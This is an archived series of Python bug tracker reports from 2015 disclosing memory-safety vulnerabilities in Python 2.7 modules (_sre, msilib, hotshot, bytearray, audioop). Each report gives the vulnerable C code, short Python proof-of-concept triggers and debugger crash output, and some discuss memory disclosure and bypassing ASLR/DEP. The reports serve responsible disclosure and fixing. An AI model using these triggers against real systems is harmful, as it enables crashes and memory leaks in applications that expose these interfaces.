[issue24602] SRE_SEARCH Integer Underflow

2015-07-09 Thread JohnLeitch

JohnLeitch added the comment:

Attaching repro.

--
Added file: http://bugs.python.org/file39889/SRE_SEARCH_Integer_Underflow.py

___
Python tracker 
<http://bugs.python.org/issue24602>
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24602] SRE_SEARCH Integer Underflow

2015-07-09 Thread JohnLeitch

JohnLeitch added the comment:

Attaching proposed patch for unit tests to cover this issue.

--
Added file: http://bugs.python.org/file39888/test_re.py.patch

___
Python tracker 
<http://bugs.python.org/issue24602>
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24602] SRE_SEARCH Integer Underflow

2015-07-09 Thread JohnLeitch

New submission from JohnLeitch:

The Python 2.7 regular expression module suffers from an integer underflow in 
the SRE_SEARCH function of _sre.c, which leads to a buffer over-read condition. 
The issue is caused by unchecked subtraction performed while handling 
SR_OP_INFO blocks:

if (pattern[0] == SRE_OP_INFO) {
/* optimization info block */
/*  <1=skip> <2=flags> <3=min> <4=max> <5=prefix info>  */

flags = pattern[2];

if (pattern[3] > 1) {
/* adjust end point (but make sure we leave at least one
   character in there, so literal search will work) */
end -= pattern[3]-1; <<<< Pattern[3] is a potentially untrusted 
value
  controllable via regex.
if (end <= ptr) <<<< A check is performed end is less than or equal 
to
 ptr (which is still start at this point), but 
no
 check is performed to determine if end has been
 underflowed to a value greater than ptr.
end = ptr+1;
}

[...]
}

A script that demonstrates control of Pattern[3] is as follows:

import re
re.search(r"\b((A){304665458})",u"A")

When the script is executed, the min quantifier value ends up in pattern[3] of 
an SRE_OP_INFO block. The value underflows end, resulting in a large number 
that satisfies the existing validation. In cases where the regular expression 
is exposed as attack surface, it may be possible to exploit this vulnerability 
to scan and read arbitrary memory. This could then potentially be used to 
disclose secrets and/or bypass mitigations such as ASLR/DEP.

An exception produced by this condition is as follows:

0:000> !analyze -v -nodb
***
* *
*Exception Analysis   *
* *
***


FAULTING_IP: 
python27!sre_uat+b7 [c:\build27\cpython\modules\_sre.c @ 369]
1e010dd7 0fb746femovzx   eax,word ptr [esi-2]

EXCEPTION_RECORD:   -- (.exr 0x)
ExceptionAddress: 1e010dd7 (python27!sre_uat+0x00b7)
   ExceptionCode: c005 (Access violation)
  ExceptionFlags: 
NumberParameters: 2
   Parameter[0]: 
   Parameter[1]: 01e0f000
Attempt to read from address 01e0f000

CONTEXT:   -- (.cxr 0x0;r)
eax=01d38518 ebx=0027f8b0 ecx=0027f8b0 edx=01d23eb4 esi=01e0f002 edi=01d3851a
eip=1e010dd7 esp=0027f82c ebp=01f2b010 iopl=0 nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=00010212
python27!sre_uat+0xb7:
1e010dd7 0fb746femovzx   eax,word ptr [esi-2] ds:002b:01e0f000=

FAULTING_THREAD:  0518

DEFAULT_BUCKET_ID:  INVALID_POINTER_READ

PROCESS_NAME:  python.exe

ERROR_CODE: (NTSTATUS) 0xc005 - The instruction at 0x%08lx referenced 
memory at 0x%08lx. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc005 - The instruction at 0x%08lx referenced 
memory at 0x%08lx. The memory could not be %s.

EXCEPTION_PARAMETER1:  

EXCEPTION_PARAMETER2:  01e0f000

READ_ADDRESS:  01e0f000 

FOLLOWUP_IP: 
python27!sre_uat+b7 [c:\build27\cpython\modules\_sre.c @ 369]
1e010dd7 0fb746femovzx   eax,word ptr [esi-2]

NTGLOBALFLAG:  70

APPLICATION_VERIFIER_FLAGS:  0

APP:  python.exe

ANALYSIS_VERSION: 6.3.9600.17029 (debuggers(dbg).140219-1702) x86fre

PRIMARY_PROBLEM_CLASS:  INVALID_POINTER_READ

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_READ

LAST_CONTROL_TRANSFER:  from 1e0115e8 to 1e010dd7

STACK_TEXT:  
0027f834 1e0115e8 01d23eb4 0027f8b0 01e0f004 python27!sre_uat+0xb7
0027f85c 1e012882 01d23e78 01ddb9f0  python27!sre_umatch+0x178
0027f888 1e014995 01d23eb4 1e0148b0 01f3ea08 python27!sre_usearch+0x212
0027fc08 1e0aafeb 01d23e78 01ddb9f0  python27!pattern_search+0xe5
0027fc24 1e0edd10 01f3ea08 01ddb9f0  python27!PyCFunction_Call+0x5b
0027fc50 1e0f017a 0027fca8 01d9df98 0001 python27!call_function+0x2b0
0027fcc0 1e0f1150 01f49198  01dce030 python27!PyEval_EvalFrameEx+0x239a
0027fcf4 1e0ec862 01d9df98 01f49198  python27!PyEval_EvalCodeEx+0x690
0027fd30 1e0edd87 0027fdb4 0002  python27!fast_function+0xe2
0027fd5c 1e0f017a 0027fdb4 01d46b18 01d46b18 python27!call_function+0x327
0027fdcc 1e0f1150 01d74030  01d46b18 python27!PyEval_EvalFrameEx+0x239a
0027fe00 1e0f11b2 01d46b18 01d74030 01d4aa50 python27!PyEval_EvalCodeEx+0x690
0027fe2c 1e11707a 01d46b18 01d4aa50 01d4aa50 python27!PyEval_EvalCode+0x22
0027fe44 1e1181c5 01e0a3b0 01d4aa50 01d4aa50 python27!run_mo

[issue24594] msilib.OpenDatabase Type Confusion

2015-07-08 Thread JohnLeitch

JohnLeitch added the comment:

Attaching repro file.

--
Added file: 
http://bugs.python.org/file39886/msilib.OpenDatabase_Type_Confusion.py

___
Python tracker 
<http://bugs.python.org/issue24594>
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24594] msilib.OpenDatabase Type Confusion

2015-07-08 Thread JohnLeitch

New submission from JohnLeitch:

The msilib.OpenDatabase method suffers from a type confusion vulnerability 
caused by the behavior of MsiOpenDatabase(), the underlying win32 function 
utilized. This is due to the unorthodox handling of the szPersist parameter: 
when an MSIDBOPEN_* value is passed, it is treated as a predefined persistence 
mode. However, when a larger value is passed, it is treated as a string 
pointer, which is used as the path to a new file.

Because the Python method msilib.OpenDatabase passes its persist parameter 
through to MsiOpenDatabase, it may be possible for an attacker to trigger the 
type confusion bug should the seemingly innocuous persist parameter be exposed 
as attack surface. This could have a few consequences: 

1) An attacker might be able to leverage this vulnerability to probe for valid 
addresses, which could then be used in another exploit to bypass ASLR/DEP.
2) An attacker might be able to leverage this vulnerability to dereference 
aribtrary values in memory, disclosing secrets. 
3) An attacker may be able to spray memory with specially crafted string 
values, then leverage this vulnerability to pass one of the values as a persist 
string. Because this would lead to the creation of an MSI file in a location 
now controlled by the attacker, it could potentially be exploited to achieve 
remote code execution.

A Python script that demonstrates the vulnerability is as follows:

import msilib
msilib.OpenDatabase("",0x41414141)

And it produces the following exception:

0:000> r
eax=41414141 ebx= ecx=0027f8c0 edx=41414142 esi=0027f8c0 edi=
eip=757252aa esp=0027f874 ebp=0027f89c iopl=0 nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=00010246
KERNELBASE!lstrlenA+0x1a:
757252aa 8a08mov cl,byte ptr [eax]  ds:002b:41414141=??
0:000> !analyze -v -nodb
***
* *
*Exception Analysis   *
* *
***


FAULTING_IP: 
KERNELBASE!lstrlenA+1a
757252aa 8a08mov cl,byte ptr [eax]

EXCEPTION_RECORD:   -- (.exr 0x)
ExceptionAddress: 757252aa (KERNELBASE!lstrlenA+0x001a)
   ExceptionCode: c005 (Access violation)
  ExceptionFlags: 
NumberParameters: 2
   Parameter[0]: 
   Parameter[1]: 41414141
Attempt to read from address 41414141

CONTEXT:   -- (.cxr 0x0;r)
eax=41414141 ebx= ecx=0027f8c0 edx=41414142 esi=0027f8c0 edi=
eip=757252aa esp=0027f874 ebp=0027f89c iopl=0 nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=00010246
KERNELBASE!lstrlenA+0x1a:
757252aa 8a08mov cl,byte ptr [eax]  ds:002b:41414141=??

FAULTING_THREAD:  0d38

PROCESS_NAME:  python.exe

ERROR_CODE: (NTSTATUS) 0xc005 - The instruction at 0x%08lx referenced 
memory at 0x%08lx. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc005 - The instruction at 0x%08lx referenced 
memory at 0x%08lx. The memory could not be %s.

EXCEPTION_PARAMETER1:  

EXCEPTION_PARAMETER2:  41414141

READ_ADDRESS:  41414141 

FOLLOWUP_IP: 
msi!CApiConvertString::operator unsigned short const *+1b1d
622e1fa1 40  inc eax

NTGLOBALFLAG:  70

APPLICATION_VERIFIER_FLAGS:  0

APP:  python.exe

ANALYSIS_VERSION: 6.3.9600.17029 (debuggers(dbg).140219-1702) x86fre

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_READ_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:  INVALID_POINTER_READ_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  INVALID_POINTER_READ_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER:  from 622e1fa1 to 757252aa

STACK_TEXT:  
0027f89c 622e1fa1 41414141 41414141 623e22d0 KERNELBASE!lstrlenA+0x1a
0027fcfc 1d162217 01c54334 41414141 0027fd10 msi!CApiConvertString::operator 
unsigned short const *+0x1b1d
0027fd18 1e0aafd7  01d86940 01d7ea08 _msi!msiopendb+0x37
0027fd30 1e0edd10 01d7ea08 01d86940  python27!PyCFunction_Call+0x47
0027fd5c 1e0f017a 0027fdb4 01c86b18 01c86b18 python27!call_function+0x2b0
0027fdcc 1e0f1150 01cb4030  01c86b18 python27!PyEval_EvalFrameEx+0x239a
0027fe00 1e0f11b2 01c86b18 01cb4030 01c8aa50 python27!PyEval_EvalCodeEx+0x690
0027fe2c 1e11707a 01c86b18 01c8aa50 01c8aa50 python27!PyEval_EvalCode+0x22
0027fe44 1e1181c5 01d43a20 01c8aa50 01c8aa50 python27!run_mod+0x2a
0027fe64 1e118760 68e87408 003f2e93 0101 python27!PyRun_FileExFlags+0x75
0027fea4 1e1190d9 68e87408 003f2e93 0001 
python27!PyRun_SimpleFileExFlags+0x190
0027fec0 1e038d35 68e87408 003f2e93 0001 python27!PyRun_AnyFileExFlags+0x59
0027ff3c 1d00116d 0002 003f2e70 003f1940 

[issue24481] hotspot pack_string Heap Buffer Overflow

2015-06-20 Thread JohnLeitch

New submission from JohnLeitch:

The hotspot module suffer from a heap buffer overflow due to a memcpy in the 
pack_string function at line 633:

static int
pack_string(ProfilerObject *self, const char *s, Py_ssize_t len)
{
if (len + PISIZE + self->index >= BUFFERSIZE) {
if (flush_data(self) < 0)
return -1;
}
assert(len < INT_MAX);
if (pack_packed_int(self, (int)len) < 0)
return -1;
memcpy(self->buffer + self->index, s, len);
self->index += len;
return 0;
}

The problem arises because const char *s is variable length, while 
ProfilerObject.buffer is fixed-length:

typedef struct {
PyObject_HEAD
PyObject *filemap;
PyObject *logfilename;
Py_ssize_t index;
unsigned char buffer[BUFFERSIZE];
FILE *logfp;
int lineevents;
int linetimings;
int frametimings;
/* size_t filled; */
int active;
int next_fileno;
hs_time prev_timeofday;
} ProfilerObject;

An overflow can be triggered by passing a large string to the Profile.addinfo 
method via the value parameter:

from hotshot.stats import *
x = hotshot.Profile("A", "A")
x.addinfo("A", "A" * 0xfceb)

Which produces the following exception:

0:000> r
eax=0041 ebx=fceb ecx=3532 edx=0002 esi=075dcb35 edi=075d9000
eip=6c29af1c esp=0027fc78 ebp=0027fc80 iopl=0 nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=00010202
MSVCR90!LeadUpVec+0x70:
6c29af1c f3a5rep movs dword ptr es:[edi],dword ptr [esi]
0:000> db edi-0x10
075d8ff0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  
075d9000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
075d9010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
075d9020  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
075d9030  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
075d9040  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
075d9050  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
075d9060  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
0:000> db esi
075dcb35  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  
075dcb45  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  
075dcb55  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  
075dcb65  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  
075dcb75  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  
075dcb85  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  
075dcb95  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  
075dcba5  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  
0:000> !heap -p -a edi
address 075d9000 found in
_DPH_HEAP_ROOT @ 6ca1000
in busy allocation (  DPH_HEAP_BLOCK: UserAddr UserSize -   
  VirtAddr VirtSize)
 722809c:  75d67c8 2838 -   
   75d6000 4000
6c3194ec verifier!AVrfDebugPageHeapAllocate+0x023c
77a257b7 ntdll!RtlDebugAllocateHeap+0x003c
779c77ce ntdll!RtlpAllocateHeap+0x0004665a
77981134 ntdll!RtlAllocateHeap+0x014d
6c2c3db8 MSVCR90!malloc+0x0079 
[f:\dd\vctools\crt_bld\self_x86\crt\src\malloc.c @ 163]
1e0ae6d1 python27!PyObject_Malloc+0x0161 
[c:\build27\cpython\objects\obmalloc.c @ 968]

 
0:000> !heap -p -a esi
address 075dcb35 found in
_DPH_HEAP_ROOT @ 6ca1000
in busy allocation (  DPH_HEAP_BLOCK: UserAddr UserSize -   
  VirtAddr VirtSize)
 7228068:  75da300 fd00 -   
   75da00011000
6c3194ec verifier!AVrfDebugPageHeapAllocate+0x023c
77a257b7 ntdll!RtlDebugAllocateHeap+0x003c
779c77ce ntdll!RtlpAllocateHeap+0x0004665a
77981134 ntdll!RtlAllocateHeap+0x014d
6c2c3db8 MSVCR90!malloc+0x0079 
[f:\dd\vctools\crt_bld\self_x86\crt\src\malloc.c @ 163]
1e0ae6d1 python27!PyObject_Malloc+0x0161 
[c:\build27\cpython\objects\obmalloc.c @ 968]

 
0:000> k4
ChildEBP RetAddr  
0027fc80 1e008380 MSVCR90!LeadUpVec+0x70 
[f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 289]
0027fc90 1e008407 python27!pack_string+0x40 
[c:\build27\cpython\modules\_hotshot.c @ 634]
0027fca8 1e0089bb python27!pack_add_info+0x77 
[c:\build27\cpython\modules\_hotshot.c @ 652]
0027fcc0 1e0aafd7 python27!profiler_addinfo+0x5b 
[c:\build27\cpython\modules\_hotshot.c @ 1020]
0:000> .frame 1
01 0027fc90 1e008407 python27!pack_string+0x40 
[c:\build27\cpython\modules\_hotshot.c @ 634]
0:000> dV
   self = 0x075dcb35
  s = 0x075da314 "AAA[...]AA..."
len = 0n123572224
0:000> dt self
Local var @ esi T

[issue24462] bytearray.find Buffer Over-read

2015-06-20 Thread JohnLeitch

JohnLeitch added the comment:

Given my understanding of the issue, the memcmp approach seems like a viable 
fix.

--

___
Python tracker 
<http://bugs.python.org/issue24462>
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24467] bytearray pop and remove Buffer Over-read

2015-06-18 Thread JohnLeitch

New submission from JohnLeitch:

The bytearray pop and remove methods suffer from buffer over-reads caused by 
memmove use under the assumption that PyByteArrayObject ob_size is less than 
ob_alloc, leading to a single byte over-read. This condition can be triggered 
by creating a bytearray from a range of length 0x10, then calling pop with a 
valid index:

bytearray(range(0x10)).pop(0)

The result is a memmove that reads off the end of src:

0:000> r
eax=071aeff0 ebx= ecx=071aeff1 edx=0010 esi=06ff80c8 edi=0010
eip=6234b315 esp=0027fc98 ebp=0027fca0 iopl=0 nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=0202
MSVCR90!memmove+0x5:
6234b315 8b750c  mov esi,dword ptr [ebp+0Ch] 
ss:002b:0027fcac=071aeff1
0:000> dV
dst = 0x071aeff0 ""
src = 0x071aeff1 "???"
  count = 0x10
0:000> db poi(dst)
071aeff0  00 01 02 03 04 05 06 07-08 09 0a 0b 0c 0d 0e 0f  
071af000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
071af010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
071af020  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
071af030  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
071af040  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
071af050  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
071af060  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
0:000> db poi(src)
071aeff1  01 02 03 04 05 06 07 08-09 0a 0b 0c 0d 0e 0f ??  ...?
071af001  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
071af011  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
071af021  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
071af031  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
071af041  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
071af051  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
071af061  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
0:000> g
(1968.1a88): Access violation - code c005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0b0a09 ebx= ecx=0004 edx= esi=071aeff1 edi=071aeff0
eip=6234b468 esp=0027fc98 ebp=0027fca0 iopl=0 nv up ei ng nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=00010297
MSVCR90!UnwindUpVec+0x50:
6234b468 8b448efcmov eax,dword ptr [esi+ecx*4-4] 
ds:002b:071aeffd=
0:000> k
ChildEBP RetAddr  
0027fca0 1e0856aa MSVCR90!UnwindUpVec+0x50 
[f:\dd\vctools\crt_bld\SELF_X86\crt\src\Intel\MEMCPY.ASM @ 322]
0027fcc0 1e0aafd7 python27!bytearray_pop+0x8a 
[c:\build27\cpython\objects\bytearrayobject.c @ 2378]
0027fcd8 1e0edd10 python27!PyCFunction_Call+0x47 
[c:\build27\cpython\objects\methodobject.c @ 81]
0027fd04 1e0f017a python27!call_function+0x2b0 
[c:\build27\cpython\python\ceval.c @ 4033]
0027fd74 1e0f1150 python27!PyEval_EvalFrameEx+0x239a 
[c:\build27\cpython\python\ceval.c @ 2682]
0027fda8 1e0f11b2 python27!PyEval_EvalCodeEx+0x690 
[c:\build27\cpython\python\ceval.c @ 3265]
0027fdd4 1e11707a python27!PyEval_EvalCode+0x22 
[c:\build27\cpython\python\ceval.c @ 672]
0027fdec 1e1181c5 python27!run_mod+0x2a [c:\build27\cpython\python\pythonrun.c 
@ 1371]
0027fe0c 1e118760 python27!PyRun_FileExFlags+0x75 
[c:\build27\cpython\python\pythonrun.c @ 1358]
0027fe4c 1e1190d9 python27!PyRun_SimpleFileExFlags+0x190 
[c:\build27\cpython\python\pythonrun.c @ 950]
0027fe68 1e038d35 python27!PyRun_AnyFileExFlags+0x59 
[c:\build27\cpython\python\pythonrun.c @ 753]
0027fee4 1d001017 python27!Py_Main+0x965 [c:\build27\cpython\modules\main.c @ 
643]
0027fef0 1d0011b6 pythonw!WinMain+0x17 [c:\build27\cpython\pc\winmain.c @ 15]
0027ff80 76477c04 pythonw!__tmainCRTStartup+0x140 
[f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 578]
0027ff94 7799ad1f KERNEL32!BaseThreadInitThunk+0x24
0027ffdc 7799acea ntdll!__RtlUserThreadStart+0x2f
0027ffec  ntdll!_RtlUserThreadStart+0x1b

If the over-read is allowed to succeed, a byte adjacent to the buffer is copied:

0:000> r
eax=01d8e978 ebx= ecx= edx=003a esi=01dc80c8 edi=0010
eip=1e08569a esp=0027fd0c ebp=01d5aa10 iopl=0 nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=0206
python27!bytearray_pop+0x7a:
1e08569a 8bd7mov edx,edi
0:000> dt self
Local var @ 0x27fd20 Type PyByteArrayObject*
0x01dc80c8 
   +0x000 ob_refcnt: 0n2
   +0x004 ob_type  : 0x1e21a6d0 _typeobject
   +0x008 ob_size  : 0n16
   +0x00c ob_exports   : 0n0
   +0x010 ob_alloc : 0n16
   +0x014 ob_bytes : 0x01d8e978  ""
0:000> db 0x01d8e978

[issue24462] bytearray.find Buffer Over-read

2015-06-17 Thread JohnLeitch

New submission from JohnLeitch:

The bytearray.find method suffers from a buffer over-read that can be triggered 
by passing a string equal in length to the buffer. The result is a read off the 
end of the buffer, which could potentially be exploited to disclose the 
contents of adjacent memory.

Repro:
var_kcjtxvgr = 
bytearray([0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44])
var_kcjtxvgr.find("\x41" * 0x58)

Exception:
0:000> r
eax=0002 ebx=0058 ecx=071adf41 edx= esi=071f2264 edi=0057
eip=1e081cf9 esp=0027fc2c ebp=071ae000 iopl=0 nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=00010206
python27!stringlib_find+0x169:
1e081cf9 0fbe0c2amovsx   ecx,byte ptr [edx+ebp] ds:002b:071ae000=??
0:000> dV
str = 0x071adfa8 
"ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD"
str_len = 0n2
sub = 0x071f2264 
""
sub_len = 0n88
 offset = 0n0
0:000> db ebp-0x10
071adff0  41 42 43 44 41 42 43 44-41 42 43 44 41 42 43 44  ABCDABCDABCDABCD
071ae000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
071ae010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
071ae020  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
071ae030  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
071ae040  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
071ae050  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
071ae060  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  
0:000> !analyze -v -nodb
***
* *
*Exception Analysis   *
* *
***


FAULTING_IP: 
python27!stringlib_find+169 [c:\build27\cpython\objects\stringlib\find.h @ 22]
1e081cf9 0fbe0c2amovsx   ecx,byte ptr [edx+ebp]

EXCEPTION_RECORD:   -- (.exr 0x)
ExceptionAddress: 1e081cf9 (python27!stringlib_find+0x0169)
   ExceptionCode: c005 (Access violation)
  ExceptionFlags: 
NumberParameters: 2
   Parameter[0]: 
   Parameter[1]: 071ae000
Attempt to read from address 071ae000

CONTEXT:   -- (.cxr 0x0;r)
eax=0002 ebx=0058 ecx=071adf41 edx= esi=071f2264 edi=0057
eip=1e081cf9 esp=0027fc2c ebp=071ae000 iopl=0 nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=00010206
python27!stringlib_find+0x169:
1e081cf9 0fbe0c2amovsx   ecx,byte ptr [edx+ebp] ds:002b:071ae000=??

FAULTING_THREAD:  1e90

DEFAULT_BUCKET_ID:  INVALID_POINTER_READ

PROCESS_NAME:  pythonw.exe

ERROR_CODE: (NTSTATUS) 0xc005 - The instruction at 0x%08lx referenced 
memory at 0x%08lx. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc005 - The instruction at 0x%08lx referenced 
memory at 0x%08lx. The memory could not be %s.

EXCEPTION_PARAMETER1:  

EXCEPTION_PARAMETER2:  071ae000

READ_ADDRESS:  071ae000 

FOLLOWUP_IP: 
python27!stringlib_find+169 [c:\build27\cpython\objects\stringlib\find.h @ 22]
1e081cf9 0fbe0c2amovsx   ecx,byte ptr [edx+ebp]

NTGLOBALFLAG:  200

APPLICATION_VERIFIER_FLAGS:  0

APP:  pythonw.exe

ANALYSIS_VERSION: 6.3.9600.17029 (debuggers(dbg).140219-1702) x86fre

PRIMARY_PROBLEM_CLASS:  INVALID_POINTER_READ

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_READ

LAST_CONTROL_TRANSFER:  from 1e081ee5 to 1e081cf9

STACK_TEXT:  
0027fc48 1e081ee5 071adfa8 071f2264 0058 python27!stringlib_find+0x169
0027fc5c 1e083ac1 071adfa8 071f2264 0058 python27!stringlib_find_slice+0x35
0027fcb4 1e083b20 0001 1e083b10 1e0aafd7 
python27!bytearray_find_internal+0x81
0027fcc0 1e0aafd7 070880c8 071d7a10 07086170 python27!bytearray_find+0x10
0027fcd8 1e0edd10 07086170 071d7a10  python27!PyCFunction_Call+0x47
0027fd04 1e0f017a 0027fd5c 06cc7c80 06cc7c80 python27!call_function+0x2b0
0027fd74 1e0f1150 07060d60  06cc7c80 python27!PyEval_EvalFrameEx+0x239a
0027fda8 1e0f11b2 06cc7c80 07060d60 06ccba50 python27!PyEval_EvalCodeEx+0x690
0027fdd4 1e11707a 06cc7c80 06ccba50 06ccba50 pytho

[issue24457] audioop.lin2adpcm Buffer Over-read

2015-06-15 Thread JohnLeitch

New submission from JohnLeitch:

The audioop.lin2adpcm function suffers from a buffer over-read caused by 
unchecked access to stepsizeTable at line 1436 of Modules\audioop.c:

} else if ( !PyArg_ParseTuple(state, "ii", &valpred, &index) )
return 0;

step = stepsizeTable[index];

Because the index variable can be controlled via the third parameter of 
audioop.lin2adpcm, this behavior could potentially be exploited to disclose 
arbitrary memory, should an application expose the parameter to the attack 
surface.

0:000> r
eax=0001 ebx=0001 ecx=2fd921bb edx=0002 esi=0001 edi=01e79160
eip=1e01c286 esp=0027fcdc ebp=df531970 iopl=0 nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=00010202
python27!audioop_lin2adpcm+0xd6:
1e01c286 8b34adb0dd1f1e  mov esi,dword ptr python27!stepsizeTable 
(1e1fddb0)[ebp*4] ss:002b:9b6c4370=
0:000> k
ChildEBP RetAddr
0027fd18 1e0aafd7 python27!audioop_lin2adpcm+0xd6
0027fd30 1e0edd10 python27!PyCFunction_Call+0x47
0027fd5c 1e0f017a python27!call_function+0x2b0
0027fdcc 1e0f1150 python27!PyEval_EvalFrameEx+0x239a
0027fe00 1e0f11b2 python27!PyEval_EvalCodeEx+0x690
0027fe2c 1e11707a python27!PyEval_EvalCode+0x22
0027fe44 1e1181c5 python27!run_mod+0x2a
0027fe64 1e118760 python27!PyRun_FileExFlags+0x75
0027fea4 1e1190d9 python27!PyRun_SimpleFileExFlags+0x190
0027fec0 1e038d35 python27!PyRun_AnyFileExFlags+0x59
0027ff3c 1d00116d python27!Py_Main+0x965
0027ff80 76477c04 python!__tmainCRTStartup+0x10f
0027ff94 7799ad1f KERNEL32!BaseThreadInitThunk+0x24
0027ffdc 7799acea ntdll!__RtlUserThreadStart+0x2f
0027ffec  ntdll!_RtlUserThreadStart+0x1b
0:000>

To fix this issue, it is recommended that bounds checking be performed prior to 
accessing stepsizeTable.

--
files: audioop.lin2adpcm_buffer_over-read.py
messages: 245408
nosy: JohnLeitch
priority: normal
severity: normal
status: open
title: audioop.lin2adpcm Buffer Over-read
type: security
versions: Python 2.7
Added file: 
http://bugs.python.org/file39713/audioop.lin2adpcm_buffer_over-read.py

___
Python tracker 
<http://bugs.python.org/issue24457>
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24456] audioop.adpcm2lin Buffer Over-read

2015-06-15 Thread JohnLeitch

New submission from JohnLeitch:

The audioop.adpcm2lin function suffers from a buffer over-read caused by 
unchecked access to stepsizeTable at line 1545 of Modules\audioop.c:

} else if ( !PyArg_ParseTuple(state, "ii", &valpred, &index) )
return 0;

step = stepsizeTable[index];

